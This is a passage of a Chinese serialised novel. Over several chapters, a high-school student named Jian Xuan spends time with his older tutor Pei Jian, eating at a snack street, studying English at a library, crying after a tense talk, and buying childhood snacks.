【目的不明的好人：下午几点放学？我忘了。】
【duvet：六点，怎么了？】
【目的不明的好人：中午不吃就算了，晚上带你吃好吃的。】
大概是怕简渲拒绝，裴渐很快又补了一条消息过来。
【目的不明的好人：就在小吃街，我好几年没去吃了，一个人吃没意思，你和我一起可以吗？】
【duvet：我晚上有事。】
【目的不明的好人：给你陪吃费，一百，如果是急事就算了。】
简渲犹豫了一下，最后还是切换出聊天界面，给网吧老板发了条消息。
【duvet：哥，今天放学以后有点事，可能要晚点回来。】
网吧老板回的很快，大概现在是中午，网吧客人稀少。
【黑网吧老板：欧克。】
简渲再次打开和裴渐的聊天界面，打下几个字。
【duvet：可以。】
裴渐应该是一直在等简渲回信，简渲刚发出去，顶端就显示出“对方正在输入中”的词条。
【目的不明的好人：好，那我四点半在校门口等你。】
等到了六点钟，简渲收拾好书包往校门口走，刚走到校门口，就看见裴渐靠在校门口的榕树上。
裴渐长得高，站在放学的高中生里面格外显眼，简渲自然一眼就看见了，只是他没想到裴渐来这么早，他还以为裴渐会晚点来，已经做好了等会裴渐的准备。
简渲拉着书包带子，走到裴渐面前，问道：“现在小吃街还没开吧？”
裴渐不知道从哪里拿出来一盒泡芙，他自己拿了一个吃，然后又捏起一个递到简渲面前，“不饿吗？先吃点，快开了，夏天开的早。”
简渲捏起泡芙的另一头，塞到自己嘴里，男生脸瘦，吃起来显得脸颊鼓囊囊的。
裴渐搓了搓指腹，把手里的一整盒泡芙都放到简渲手里，“吃吧，要喝奶茶吗？”
简渲端着泡芙，摇摇头，“不喝了，小吃街不是有果茶卖吗？”
裴渐叹了口气，“等会要走过去，起码得半个小时，你不喝点什么吗？到了就消化了。”
简渲只好点点头，“好吧。”
等跟着裴渐走到一家奶茶店门口，简渲站在点单区，等着裴渐点单。
只是没等到裴渐的声音响起，就听见一声有些陌生又有些熟悉的声音响起。
“简渲？”
14.第 14 章
简渲听见有人叫他的名字，抬头望了过去。
是个女生，有点眼熟，穿着奶茶店的工作服，简渲想不起来这个人是谁，但她喊出了自己的名字，想来是认识他的。
简渲只好颔首，说道：“你好。”
女生自然看出来简渲忘记自己是谁了，她停下做奶茶的动作，走到简渲面前，重新做了个自我介绍：“我是闻墨啊，就是小时候住在你们家隔壁的那个姐姐。”
听到闻墨说完，面前的女生才和记忆里的样子对上号，简渲有点不好意思，低声道：“抱歉，记不清了。”
闻墨也不在乎这些，她看了一眼站在简渲旁边的裴渐，对身后的另一个服务员说道：“你先做着，我有点事。”
随后闻墨就脱下了工作服，走到简渲旁边，用只有他们两人才能听到的音量说道：“我有点事情要和你说。”
简渲点点头，然后对裴渐说道：“我去叙叙旧，你先点，可以吗？”
裴渐不知道他们说了些什么，只知道这俩人认识，于是回答道：“可以。”
简渲跟着闻墨走到没人的地方，还没等闻墨开口，简渲就说话了：“上班时间出来没事吗？”
闻墨闻言笑了一下，回答道：“这家奶茶店是我开的。”
简渲嘴唇张开，似乎没想到闻墨这么年轻就开店了，他没记错的话，闻墨只比他大了两岁。
闻墨似乎知道简渲震惊的原因，主动开口解释道：“我没去读大学，我爸妈都没工作，只得靠我了。”
简渲没说什么，只是点点头，然后问道：“姐，有什么事啊？”
闻墨从兜里拿出手机，在屏幕上滑动了几下，然后把微信的聊天记录递到简渲面前。
闻墨给那个人的备注是爸爸。
【爸爸：对了，隔壁那家的男人简崇回来了，他娘身体不好回来照顾了吧，哎，也是孝顺。】
简渲看着这条消息愣住。
他心里自然清楚，简崇，究竟是不是回来照顾人的。
闻墨见简渲神色不好，叹了口气，收回手机，开口说道：“我也不知道你爸回来是干嘛的，但是我觉得还是有必要告诉你。”
简渲强迫自己恢复原本的表情，他缓慢地眨了眨眼，平复了一下情绪，然后才对闻墨说道：“谢谢。”
闻墨笑了笑，开口：“没什么，只是今天看见你的时候想起来了，觉得不告诉你厚道。”
话毕，闻墨就转身往奶茶店里走去。
简渲还愣愣地站在原地，手不自觉地往兜里放，冰凉的机身此刻在他掌心也变得滚烫。
裴渐拎着奶茶从奶茶店出来的时候就看见简渲还站在外面，也不说话，就站着。
“怎么了？”裴渐走到简渲面前，伸出手在简渲面前晃了晃。
直到修长的指尖戳上简渲的脸，面前的男生才回神。
简渲抬头望向裴渐，开口：“你不要戳我。”
裴渐失笑，把手中加冰的奶茶贴上简渲的脸颊，说道：“不戳你的话就是这个把你冻回神了。”
简渲睁大眼睛瞪向裴渐，没好气地说道：“你刚才不是在冰我吗？”
裴渐把奶茶吸管戳进去，放到简渲唇上以后才笑着开口：“喝点甜的吧，分泌多巴胺。”
简渲吸了一口奶茶，拍开裴渐的手自己捧着，喝了几口以后简渲突然开口：“我没有不开心。”
裴渐挑眉，低头看着简渲的发漩，矢口否认，“我没说你不开心啊。”
简渲懒得和裴渐和争论，只是说道：“哦。”
裴渐也不逗简渲了，刚才他一出来就看见简渲活像一个湿哒哒的蘑菇站在那里，周围没人，于是大雨都要把蘑菇淋发霉了。
眼瞧着面前的男生情绪没有那么低落以后，裴渐才开口：“小吃街应该开了，走吧？”
简渲点点头，也不说话，就捧着奶茶喝。
等到了小吃街，大概天还没黑完，里面的人还是比较少的。
裴渐低头看着还捧着奶茶的简渲，问道：“喝完了吗？”
简渲晃了晃奶茶杯子，开口：“喝完了。”
裴渐拿过简渲手里的空杯子，扔到垃圾桶里，走回到简渲身边以后才开口：“走吧，想吃什么？”
简渲踢踢裴渐的脚，嘟囔道：“不是陪你吗？我不吃。”
裴渐被简渲这话说的哑然，他弯腰和简渲对视上，郑重其事地说道：“提供情绪价值懂不懂？我一个人吃没意思，你得和我说好不好吃，想不想要陪吃费了？”
简渲不可思议地看向裴渐，望进男人丝毫不掺杂一点心虚的瞳孔里。
像是被捏住了命运的后脖颈一般，简渲收回脚，说道：“哦。”
裴渐笑出了声，“在心里骂我呢？”
刚在心里骂完男人不要脸的简渲很烦躁，如果不是为了那一百块钱，简渲早跑路了。
“你还吃不吃，不吃我就走了。”简渲没等裴渐，直接转身就走了。
裴渐连忙跟上简渲，拎着男生的校服外套，半开玩笑说道：“你这样的话术很像渣男的，小小年纪就这么潜力啊小同学。”
简渲拍开裴渐拉着自己衣袖的手，“你话好多，好烦。”
裴渐被男生说烦，也老实，他拿出手机翻了一下，然后对简渲说道：“这里有小蛋糕卖，等会再买，吃不吃烤面筋？”
“你想吃就吃，我不是陪吃吗？”简渲说。
也不知道在小吃街待了多久，天色已经完全黑了下来，简渲手里已经拿满了小吃，倒是裴渐，手里没拿什么东西。
简渲嘴里还塞着裴渐夹进自己嘴里的煎饼果子，他看着裴渐站在蛋糕摊前的背景，含糊开口：“唔药捺补系惹。”
我要拿不下了。
裴渐拿着买好的两盒蛋糕转身，回头就看着简渲一脸不满地看着自己，男生两只手里都满满当当的，脸颊也鼓着，站那跟个小蛋糕一样。
“就让你帮我拿一两分钟，不知道的还以为我虐待你呢。”裴渐接过简渲手里的东西，递过去一盒小蛋糕到简渲手心。
简渲吞下嘴里的食物，打开透明盒子，叉起一块粉色的小蛋糕递到裴渐面前，“你不吃吗？”
裴渐低头，轻咬下叉子上的蛋糕，开口：“拿满了，没法吃。”
简渲用手捏起一块蛋糕，直接塞进裴渐嘴里，“我去找个地方坐。”
小吃街附近有座位，简渲一只手拿着裴渐的衣角，把人带着坐到座位上。
等到坐下，裴渐才把买了还没吃的东西放到桌上，他打开一个盒子，往
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简渲面前推了推，“无骨鸡爪，吃吗？”
简渲拿起里面放的一次性筷子，夹起来再次放到裴渐唇边，“我不是陪吃吗？你先吃。”
裴渐只好咬住，等吞吃下去以后才开口：“你先帮我试试水。”
简渲只好一样一样地尝，边吃边给裴渐做出食物评价。
“奶油太甜了。”
“这个鸡腿好吃。”
“甜辣味的，我不喜欢。”
“这个好辣，原本的味道都盖住了。”
“这个藤椒味的鸭脖好吃。”
简渲尝一个裴渐就跟着吃，也不知道吃了多久，直到简渲胃部开始有些鼓胀，他皱了皱眉，有点想吐。
裴渐及时叫停，他将剩下还没吃完的小吃推到自己面前，“吃饱了怎么不说？吃七分饱就可以了，吃多了对身体不好。”
说实话，裴渐没买多少，只是他没想到简渲小鸟胃，不过看到男生营养不良的发丝和纤瘦的身材，裴渐也反应过来，简渲是纯纯把自己胃部饿小了。
啧，难绷。
简渲听裴渐说话，就趴在桌子上也不想开口，他害怕自己等会一开口就吐，虽然以前都是干呕，但是不怕一万就怕万一，万一这次就吐了，这里还是小吃街，怪恶心人的。
裴渐也帮不上什么忙，只好快速解决完剩下的食物。
吃完以后，裴渐才开口：“好点了吗？”
简渲点点头，终于开口说话了：“好点了，走吧。”
裴渐扶着简渲的肩往外走，等走到停车场，简渲才呆呆地开口：“来这干嘛？”
撑傻了。
裴渐把简渲按在石墩子上坐着，“我车停在这，你等我一会。”
简渲点头。
裴渐将车开了过来，打开副驾驶的车门，对简渲说道：“上来。”
简渲坐上去，晚上黑，看不清，简渲就在座椅上摸索，直到一个身影靠在自己旁边，裴渐把安全带拉了出来，给简渲系上。
简渲见安全带系上了，才放松了身体。
裴渐将车开出停车场，开口：“你家在哪？”
简渲看着窗外的灯火，玻璃窗还反射了裴渐的身影，被人这么一问，简渲才终于回神：“你就送我到上次那个网吧门口就行了。”
裴渐低笑一声，“还挺注重隐私。”
简渲没解释，等回到安静的环境，他脑海里才不断浮现白天闻墨给自己看的聊天记录。
手不自觉地伸进口袋了，又很快收回。
回去再发吧。
约莫十几分钟后，裴渐将车开到了网吧门口，等车停下，裴渐才拍了拍已经睡着的简渲：“到了。”
简渲从梦里惊醒，咻的一下跳下车，然后脑袋探进车里，轻声说道：“拜拜。”
裴渐摆了摆右手，开口：“明天见，十点能起来吗？不会又通宵打游戏吧？”
这是简渲以前给裴渐的解释，他也没想到自己胡乱找的借口还被裴渐记得，只好说道：“不会。”
“行，明天十点我在市图书馆等你。”裴渐再次晃晃手，等男生把车门关上，才将车开走。
直到裴渐的车消失在自己的视野里，简渲才拿出手机打开微信。
【duvet：简崇回来了？】
15.第 15 章
对面没立马回消息，简渲也不着急，转身往网吧里面走去。
现在的时间说晚也不晚，才九点多，大抵是周末的原因，网吧的客人不算少，每个地方多少都占点人。
简渲走到网吧老板身边，低声询问：“哥，有哪需要我吗？”
网吧老板闻声抬头，他眼珠转了转，随后说道：“31号机的客人要杯奶茶。”
简渲将手中的手机放进兜里，把书包放在前台上，点点头：“好。”
简渲冲好奶茶，都到31机机主的旁边，无声放了上去。
再次回到前台，简渲刚拎起书包，就听见网吧老板的声音响起：“小子，回去休息吧。”
简渲摇摇头，“不用的，不然我没法安心拿工资。”
网吧老板起身走到他身边，敲了敲简渲的头，“我都说了，我不是靠这个赚钱的，你小子没听进去啊？”
简渲还是摇摇头，固执地像吃不到糖就不走的小孩，“不可以。”
“行行行，那一三五你上班，二四六休息，可以吧？工资照算，不许拒绝了昂。”网吧
老板不给简渲继续说话的机会，将男生推走了。
简渲被迫回到卧室，刚坐下，兜里的手机就震动了一下，简渲连忙拿出来，刚打开，简渲那股劲就焉巴了下来。
发消息的人不是他期待的那个人。
【目的不明的好人：回家了？】
【duvet：嗯，刚刚回家。】
【目的不明的好人：还难受吗？】
【duvet：不难受了。】
【目的不明的好人：我觉得我还是来接你比较方便。】
【duvet：哦。】
【目的不明的好人：还是在网吧门口？】
【duvet：嗯。】
【目的不明的好人：好，早点睡。】
简渲刚看完裴渐发来的消息，手机就弹出了一条聊天框。
简渲闭了闭眼睛，点了进去。
【奶奶：回来了，就在你房间休息呢。】
简渲瞳孔在一瞬间睁大。
简崇在他房间里。
他房间里。
简渲强迫自己沉住气，给对面发过去一条消息。
【duvet：好，我明天回来看你。】
简渲刚准备给裴渐发消息把明天的补习推掉，对面的消息很快就发来了。
【奶奶：不用了，你在学校好好待着就好。】
【duvet：那就下周，我回来看你。】
这次过了很久，对面才回复。
【奶奶：好。】
简渲晃了晃脑袋，起身走到房间角落的书桌边坐下，随手拿起一本数学试卷写了起来。
或许是心情不好，简渲做数学题的速度比平时格外快，直到即将写完一整张试卷，简渲才抬起头。
他眨了眨有些麻的眼睛，抬起头看向墙顶的白炽灯，一时间眼睛有点睁不开。
等视线里的白炽灯不那么刺眼，简渲才再次将头低了下去，目光落在最后一道题上。
最左边框着一行字。
[2018年全国数学竞赛题]
简渲圈住那一行字，然后开始读起了题干。
简渲也不知道自己做了多久的试卷，只知道写的满满当当的卷子已经在旁边放了两三张。
他拿起放在一旁的手机看了一眼，已经凌晨两点了。
简渲把写完的试卷都放在最上面，转身往床上走去。
第二天清晨，简渲迷迷糊糊还处在睡梦中，微信铃声就响了起来。
简渲伸出手，凭借肌肉记忆按下了接听，然后又睡了过去。
耳机里传来男生微弱的呼吸声，裴渐愣住。
他此时此刻就站在网吧门口，周围的人流被耳机隔离，男生的呼吸声显得格外清晰。
裴渐忽然想起那天晚上，男生凌晨打过来的语音通话，吵醒了正在睡觉的自己。
裴渐当时本以为简渲是有急事，接过自己刚接通，听到的也是和此刻一模一样的呼吸声。
唯独不一样的，是那晚夹杂着微弱的呓语，让人格外怜惜。
裴渐叹了口气，等手机上的时间再次流逝了十分钟，裴渐最后还是开口了：“简渲，起床了。”
过了几秒，手机里没传来男生的回答，倒是响起了重物摔落到地上的声音，大概率就是男生手里的手机，
裴渐轻笑一声，还没来得及开口询问，手机对面就传来简渲愠怒的声音：“裴渐，你吓我干什么？”
无缘无故被简渲扣上一顶大锅，裴渐也没生气，反倒是好声好气地对简渲说：“已经九点五十了，你还没睡醒？”
对面没说话，只是隔着屏幕响起衣物的摩擦声和急促的脚步声。
下一秒，男生的身影就出现在裴渐的视线中。
裴渐抬眼，挂掉语音通话，走到简渲面前，低头看了男生几秒，然后开口：“昨晚真通宵打游戏了啊？”
简渲本来就没睡醒，加上他有起床气，突然听见有人类语言响起，被吓了一激灵。
他没好气地看了裴渐一眼，开口说道：“没有打游戏。”
裴渐也不过多询问，拉着简渲走到自己的车前，打开副驾驶的车座。
等简渲坐上去以后，裴渐才关上车门，然后自己从另一头走进去。
市图书馆离这里不是特别远，大概开了半个小时以后就到了市图书馆。
等简渲下车以后，裴渐打开车后座，从里面拿出一台笔记本，还有一个文件夹。
简渲看了眼裴渐，问道：“你带笔记本干什么？”
裴渐示意简渲往图书馆里面走，边走边说道：“讲题。”
简渲摸了摸鼻子，“哦。”
两人找到座位坐下，裴渐打开笔记本，在一个word文档上点击了两下，很快就弹出了一个PPT。
简渲凑上去看了一眼，“这是什么？”
裴渐打开文件夹，随手抽出一张白色的试卷，拿出笔放在简渲面前，“这些卷子上的题，我先教你等会怎么分解行文。”
简渲看了一眼裴渐递给自己的试卷，发现上面密密麻麻的都是题，“你让我直接做题啊？”
裴渐淡定地“嗯”了一声，“我发现你做完题以后再给你讲你好像接受的快一点，这里还有一
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张，是单词英汉互译，等会给你讲完一道阅读以后你就把第一个到第二十个的英汉互译填了。”
说完，又把一张试卷递到简渲面前，裴渐继续补充道：“这些是我高中的时候做的试卷上的题，我挑了一些放在一起印成试卷了。”
简渲点点头，刚想开口，裴渐就拿出手机打开10分钟计时，“十分钟把第一篇阅读写完，先读，看不懂的单词圈起来。”
似乎知道简渲要说什么，“都看不懂就把你认为的翻译写在下面，现在还有九分四十秒。”
简渲不再说话了，低头开始做起了裴渐给自己选的阅读题。
简渲刚看完第一行，就发现这篇阅读里很多单词都是上次自己临时抱佛脚的时候裴渐给自己讲的那四篇阅读里面的。
这是简渲头一次读英语阅读理解这么顺利。
他抬头看向裴渐，却发现裴渐带上了眼镜，半框的，低着头在电脑上敲敲打打。
有一瞬间，简渲觉得裴渐和英杰墙上十八岁的裴渐格外像。
裴渐似乎感觉到简渲在看自己，他抬起头，挑了挑眉，开口：“怎么了？”
简渲指了指裴渐的眼睛，问道：“你怎么带眼镜了？”
裴渐眉眼弯了弯，解释道：“我有点散光，平时没什么影响，看电脑看书的时候就会带着。”
简渲点了点头，表示自己知道了，然后低下头继续做起了试卷。
等简渲读完阅读以后，圈起来的单词最多也就只有三四十个，比起以前满篇都看不懂，这次整体来说好了很多。
简渲把视线落在选择上，此时才陷入了窘境。
因为他发现，题干问的问题都是围绕着那些他看不懂的单词。
简渲沉默了。
他就知道裴渐没那么好心。
简渲再次把视线落在行文上，读了两遍以后也只得知了最后一题揣测主题的答案。
他把试卷往裴渐面前推了推，老老实实说道：“我不会了。”
裴渐的目光从电脑上挪开，落在简渲推过来的试卷上，拿起来看了一眼，先是看了一眼行文，也没看选择，“上次给你讲的单词都记住了？”
“嗯，”简渲点点头，见裴渐不告诉自己他唯一做的那道选择题对不对，又问道：“我那道题做对没有？”
“如果上次给你讲的单词你都记住了的话，按照你的实力，那你只有那道题能做对。”裴渐丝毫不给简渲留面子。
简渲也不觉得有什么，毕竟他英语确实烂得一批，他起身坐到裴渐身边，“那你给我讲呗。”
裴渐拿起简渲的卷子，开始慢慢讲了起来，等裴渐把一整篇阅读讲完简渲恍然大悟。
裴渐把试卷重新推回简渲面前，开口：“你再试试做这几道选择。”
没几分钟，简渲就做完了，他甩了甩卷子，“pia叽”一下拍在裴渐面前，“是不是全对？”
裴渐被简渲的动作逗得一笑，拿起试卷看了一眼，“嗯，全对。”
简渲侧过身，激动地抱住裴渐，带有敬佩的声音在裴渐耳边响起：“你好厉害啊裴渐！”
同时附着在裴渐耳边的，还有简渲温热的呼吸。
16.第 16 章
裴渐身子僵住，他伸出手虚虚搂住简渲的腰，拍了拍简渲的侧腰，低声问道：“很高兴？”
反应过来自己干了些什么的简渲连忙把身子缩回了自己的位置上，瘪瘪嘴然后开口：“还不许人高兴啊？”
裴渐手指滑动在触摸板上，闻言笑了笑，“谁说不许你开心了？小朋友每天的必须做的事情不就是开心吗？”
“我已经十七了，明年就成年了！”简渲踢了踢裴渐的脚，反驳道。
裴渐顺着简渲的话说道：“嗯，不过未成年对我来说都是小朋友，我高中毕业你还是初中生呢。”
简渲坐直了身子，戳了戳裴渐还在放在笔记本触摸板上的手背，“你不要逼我在这么开心的时候凑你。”
说完，简渲还挥了挥自己的拳头。
裴渐轻笑了一声，拿过简渲放在对面的卷子，推到男生手边：“填一下这个英汉互译，你记住了吗？”
简渲用笔盖怼着卷子，不服气地说道：“我看起来记忆力很差吗？”
“不差，是我诬陷你了，”裴渐顺着简渲的话应承，顺势把手机上十分钟的计时换成五分钟的，继续说道：“五分钟，二十个英汉互译，ok吗？”
简渲咬着笔盖，轻轻嗯了一声，“可以。”
说完以后简渲就没在说话了，裴渐的目光从简渲的后脑勺上移开，重新落在电脑屏幕上。
裴渐的指尖敲上键盘，在PPT上稍微做了些改动，他觉得，简渲没有他预想中的那么不懂英语。
过了一会儿，简渲停笔，把试卷往裴渐手边推，“写完了。”
推过去以后简渲还顺势看了一眼裴渐手机上的倒计时，距离五分钟结束还有三分四十秒。
裴渐停下敲击键盘的动作，指尖拿起简渲推过来的试卷，笑着说：“这么厉害啊简渲同学。”
简渲转着笔，不满地盯着裴渐，嘟囔道：“我一直都很厉害的。”
裴渐拿出放在笔记本包里的红笔，开始在试卷上看了起来。
裴渐的手没有挡住简渲的视线，简渲努力遏制住想要偷看裴渐给试卷批正的眼神。
约莫过了十几秒，裴渐的声音在简渲耳边响起：“改好了，不看看吗？”
简渲把椅子往裴渐身边挪了挪，视线不自觉地落在自己前不久刚刚完成的试卷上，直到从第一个单词滑到最后一个，都是红色的对勾。
简渲眼睛亮了亮。
“裴渐！我全对！”简渲眨了眨眼睛，不可思议地对裴渐说道。
连着两次都没如同以往那样叫裴渐“哥”，是个人都能看出来简渲的情绪在此刻异常的激动。
裴渐也没出口纠正简渲称呼的错误，他视线落在简渲上，男生大概确实很高兴，两只手都落在试卷上。
“嗯，你全对。”裴渐说。
玻璃糖纸的摩擦声突兀地传来，简渲低着头，望着自己两手之间放着的糖果。
是简渲读小学的时候文具店里面经常放着的糖，亮晶晶的糖纸，里面的糖是各种各样的水果味。
现在已经很少见了，简渲不知道裴渐怎么找到这种糖的，他抬眼望着裴渐：“你在哪买的？”
裴渐思索了一下，回答道：“就在南城小学门口那个深巷子里面，里面有家店，我小学的时候就开着的了，本来想碰碰运气看看这家店还在不在，结果还在。”
简渲把糖纸剥开，将糖含进嘴里，是哈密瓜味的
听见裴渐这么说，简渲惊异地看着裴渐，开口：“你也去过那家店啊？我小学的时候奶奶经常带我去那买辣条吃。”
“这么巧啊？小学高中都和我一个学校，不会初中也是吧？”裴渐听见简渲这么说，自然也猜出来了简渲小学也是在自己读的小学读的。
“初中肯定不是，”简渲肯定地摇摇头，又不经意地感慨道：“我都快六年没吃辣条了。”
“你奶奶不让你吃了？”裴渐说。
简渲嚼碎在嘴里快要融化的糖，看似漫不经心地回答道：“那到不是，反正就是没吃了。”
裴渐察觉到周围的空气似乎都低了一个度的气压，他有点懊恼自己怎么这么好奇去问这种敏感的话题。
简渲也不再提这件事了，把一开始的英语试卷翻到完形填空，然后放到裴渐面前，开口：“不讲了吗？”
裴渐觉得如果简渲和自家咪咪一样有耳朵的话，大概已经趴在脑袋上糯叽叽的了。
原本男生眼睛里还亮晶晶的光也被坏情绪吃掉了，裴渐叹了口气，将放在桌上的文件夹和笔记本收进了包里。
简渲被裴渐的一系列动作搞得愣住，直到裴渐拉着自己起身以后简渲才找到了自己的说话系统。
他连忙停住脚步。
感觉到身后的人没跟着自己走，裴渐转身，就听见简渲的声音响起：“不学了吗？为什么要走？”
裴渐又从兜里拿出一颗糖，放在简渲毛茸茸的脑袋上，再次拉起拉起男生的手腕，只不过这次带上了解释：“带你吃小垃圾零食。”
简渲拿下放在自己脑袋上的袋，大步走到裴渐身边，把糖塞回了裴渐兜里，“不吃。”
“简渲，如果你脸上有天气预报，那现在就是晴转暴雨，我想让暴雨转晴，不可以吗？”裴渐直接把兜里的糖都塞进简渲的手里。
简渲被裴渐说的愣住，他使劲揉了揉自己的脸，小声嘟囔道：“很明显吗？”
察觉到身后的人终于没有把所有力道都用在脚上，裴渐这才开始拉着简渲往图书馆外走，边走还边说道：“嗯，特别明显，不知道的还以为我在图书馆里面把你打了一顿。”
特别特别夸大，但简渲真的信了。
“我没注意，抱歉。”简渲低着头，盯着自己的脚尖。
裴渐有时候觉得简渲真的很小孩子，明白人都能看出来这是自己在开玩笑，只有当事人，觉得他说的话很真。
特别真那种。
“你不用道歉，该道歉的不该是我吗？跟个搜索键一样问你这些没必要的问题，害你不开心。”裴渐说。
简渲摇摇头，看着自己手里满满一把的糖，说道：“可是
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我不该生气，还把糖很用力地塞你兜里。”
裴渐停下脚步，简渲却没有注意，径直撞上了裴渐的肩膀，简渲两只手都没空，他只好疼得蹭了蹭裴渐的肩膀，声音有些气音：“你停下干嘛？”
两人已经走出了图书馆，离裴渐停车的地方不是很远，大概还是早上，周围没有特别多的人。
裴渐松开拉着简渲的手，这次他没有如同往常一样平视简渲，而是盯着男生的头顶直接说道：“你为什么总是觉得是自己的错？我已经承认错误了，为什么要把错揽在自己身上？你生气是应该的，这是你在我问出不该的问题后世界允许你拥有的情绪。”
“简渲，我觉得比起让你听我佯装撑成同龄人对你说的话，好像更适合听我作为一个年长者的话。”
“如果你一直都觉得什么都是你的错，那你为什么会打架？不是因为受委屈了想找回来吗？你既然都能分辨谁对谁错，为什么因为我比你年长，你就分辨不出来了呢？”
所有的一切都被挑破，简渲指尖动了动，他没正面回答裴渐的话，而是问道：“你怎么知道我打架的？”
裴渐被他生硬转移话题的方式气笑了，“遇见你那天晚上，你都是指骨有伤，很明显是手掌握拳以后形成的淤青，是个人都能猜到吧？”
“哦。”简渲不说话了，他不知所措地站在原地，腿像灌了铅一样僵在地上动弹不得。
直到水泥地的颜色有些润湿，裴渐才叹了口气，最后还是弯下了腰，捧起简渲的脸，擦了擦男生眼下的泪，声音没有刚才那般强硬，放柔了几分，“怎么哭了？嗯？”
简渲没有说话，想把脑袋从裴渐手里挣扎出来，却发现自己压根没裴渐力气大。
裴渐伸出大拇指抹着男生的眼泪，简渲的睫毛也湿漉漉的，裴渐抚上简渲的眼皮，低声说道：“闭眼。”
简渲还没反应过来，裴渐就把自己的眼皮抚了下去，直到睫毛上黏糊糊的感觉消失，男人的手才离开自己的眼睛。
视线终于恢复了明亮，简渲缓慢地眨了眨眼，就听见裴渐说道：“为什么哭，简渲。”
简渲还是没有说话。
裴渐已经不知道这是今天第几次自己叹气了，“简渲，你得给我一个了解你的机会，你现在不说话，我俩就在这里站着吗？”
裴渐说完这句话，也不再说话了，他站起身，就看着站在原地也不动弹的简渲。
几分钟后，简渲还是没有说话，只是地上又更湿了。
裴渐这辈子第二次见识到一个人竟然这么能哭，第一个就是他弟。
只不过他弟哭起来吵吵嚷嚷，简渲哭起来声音都没有。
“我不问你了，所以可以理我了吗？”裴渐抬起简渲的脸，搓了搓，顺手擦掉又流出来的眼泪，“和我说句话吧简小渲，你真的很像冷暴力的渣男欸。”
一滴豆大的泪珠顺着简渲的眼角滑到裴渐的指尖上。
有些烫。
然后裴渐就听见简渲哽咽委屈地声音响了起来：“裴渐，有没有人说过，你很凶。”
17.第 17 章
裴渐，有没有人说过你很凶。
这句话放在裴渐耳里几乎等同于嘴硬的简渲给自己递下的台阶。
刚刚那颗泪已经顺着裴渐的手背滑到了地上，裴渐搓了搓简渲的眼角，等湿润的三角区变得干燥以后，裴渐才松开托着简渲脸的手。
他思索了片刻，开始认真回答简渲的问题：“没有，你是第一个。”
简渲吸了吸鼻子，推了推跟堵墙一样站在自己面前的裴渐，嘟囔道：“你挡住我了。”
裴渐低头，这才发现两人之间的距离确实有些近。
他往后挪了几步，直到空出一些距离，裴渐才继续开口：“终于理我了啊。”
“你就是很凶。”简渲说。
裴渐被简渲的无理取闹乐得笑出了声，但也不反驳，而是说道：“嗯，我凶。”
简渲手里还捏着一大把裴渐塞给自己的糖，糖纸在手心时不时响起聒噪的摩擦声。
裴渐自然也听到了，他抓起简渲握着糖果的那只手，轻轻掰开了简渲的手。
温热的指尖擦上了敏感的掌心，简渲指尖下意识缩了缩。
直到裴渐将简渲手心的糖果全部拿走，放进自己的兜里，简渲才慢慢开口，男生的声音带着少有的软糯，像是埋怨，又像是无声地放软了态度：“其实我今天不是很难过的，都怪你，说那么多，才害的我哭了，我已经很久没哭了，都怪你。”
连着说了两次都怪你，看来确实是没生气了，都知道怪别人了。
裴渐弯了弯眉眼，从兜里拿出一颗糖果，撕开闪着光的糖纸，递到简渲嘴边，“嗯，都怪我。”
简渲盯着裴渐指尖捏着的糖果，犹豫了一下，还是用嘴叼了进去，他含住嘴里的糖果，说道：“等以后就机会我再和你说。”
莫名其妙的一句话，可裴渐就是听懂了。
他也撕开一颗糖，扔进自己的嘴里，低着头询问简渲的意见：“好，现在我们可以走了吗？带你吃辣条，没开玩笑。”
简渲的嘴里泛起思思甜意，他点点头，开口：“嗯。”
裴渐伸手拉住简渲的手腕，“走吧。”
被裴渐拉着坐上车以后，盯着车窗外越来越熟悉的环境，简渲才问道：“去哪里？”
裴渐打着方向盘，闻言回答道：“小学门口，那个巷子里面。”
简渲了解以后就点了点头，也没继续说话了，只是靠着车窗发呆。
车外的景象缓缓停下了移动，裴渐停下车，侧头看向坐在副驾驶上陷入深睡的简渲。
可能哭久了，男生的眼睛有点肿。
蓬松的发丝轻轻摩挲着透明的车窗，简渲的睫毛轻轻颤动着。
下一秒，裴渐就和睁开眼的简渲对视上。
简渲揉了揉有些疼的眼睛，声音模模糊糊地，但也足够车里的人听清：“我睡着了啊？”
“嗯，眼睛很疼吗？”裴渐说道。
简渲没逞强，点点头，回答道：“有点痛。”
“好，先下车吧。”裴渐打开车门。
等简渲走到自己身边，裴渐才说道：“走吧，给你买辣条吃。”
简渲又揉了揉眼睛，下意识就拒绝了，“我自己有钱。”
“今天我做错事了，给你买辣条道歉不可以吗？”裴渐说道。
有时候裴渐真的很会转移话题，明明买辣条这件事是在他惹自己生气之前发生的，可他硬生生把这件事安在道歉上，让简渲没有办法拒绝。
“我没说不可以。”简渲还是同意了。
裴渐眼底泛起了笑意，他捏着简渲的小指，“这下可以走了吧？”
“裴渐，我发现一件事。”简渲突然郑重其事地开口。
裴渐偏着头看他，疑惑道：“怎么了？”
“你好像很喜欢拉着我走路，为什么？”简渲晃了晃自己被裴渐捏着小指的那只手。
裴渐哑然。
如果他说是因为遛猫遛习惯了，习惯手里拎着点东西，简渲会不会揍他？
“怕你跟不上我。”裴渐还是没有把真实原因说出来。
简渲看了看裴渐的身高，又看了看自己，最后问道：“你多高？”
“一米八八吧，去年测的。”裴渐说。
简渲伸出手比了比自己和裴渐的身高差，抿抿唇，然后说道：“你能去截肢吗？”
语气认真，不像是开玩笑的。
裴渐思考了一下这个方案的可能性，最后还是叹了口气，“我觉得你这一年努力长高的可能性比我去截肢的可能性高。”
简渲瘪瘪嘴：“哦。”
结束关于裴渐是否要去截肢的话题，两人终于往小巷子里的零食店走去。
简渲已经好几年没来过这里了，本以为还会有变化，结果和记忆的别无两样。
简渲不由得感叹了一句：“这条巷子怎么没变啊？”
裴渐笑了笑，也附和道：“我当时来的时候也很诧异。”
说话的时间两人已经走到了零食店门口，店主是一个有些年迈的老婆婆，在简渲的印象里这个老婆婆还是四五十岁的样子。
不过几年，皱纹就布满了她的脸庞。
老婆婆看见裴渐，笑脸在她严肃的脸庞上出现，“小伙子，又来买糖啊？”
裴渐笑着点点头，举起自己拉着简渲指尖，”我弟弟想吃辣条了。”
老婆婆闻言也跟着他笑，视线落在裴渐身边的简渲上，“小朋友长得真漂亮啊，就是和你哥哥不是很像。”
当然不像啊，他本来就不是裴渐弟弟。
简渲空着的那只手在老婆婆看不见的地方掐住了裴渐的后腰，没一秒就松开了。
背地小动作不停，面上简渲却带着笑，“婆婆，你年轻的时候肯定也漂亮。”
老婆婆被简渲逗得直笑，她指了指放在小摊子上的一大堆零食，对简渲说道：“喜欢吃什么就拿。”
简渲点点头，“好。”
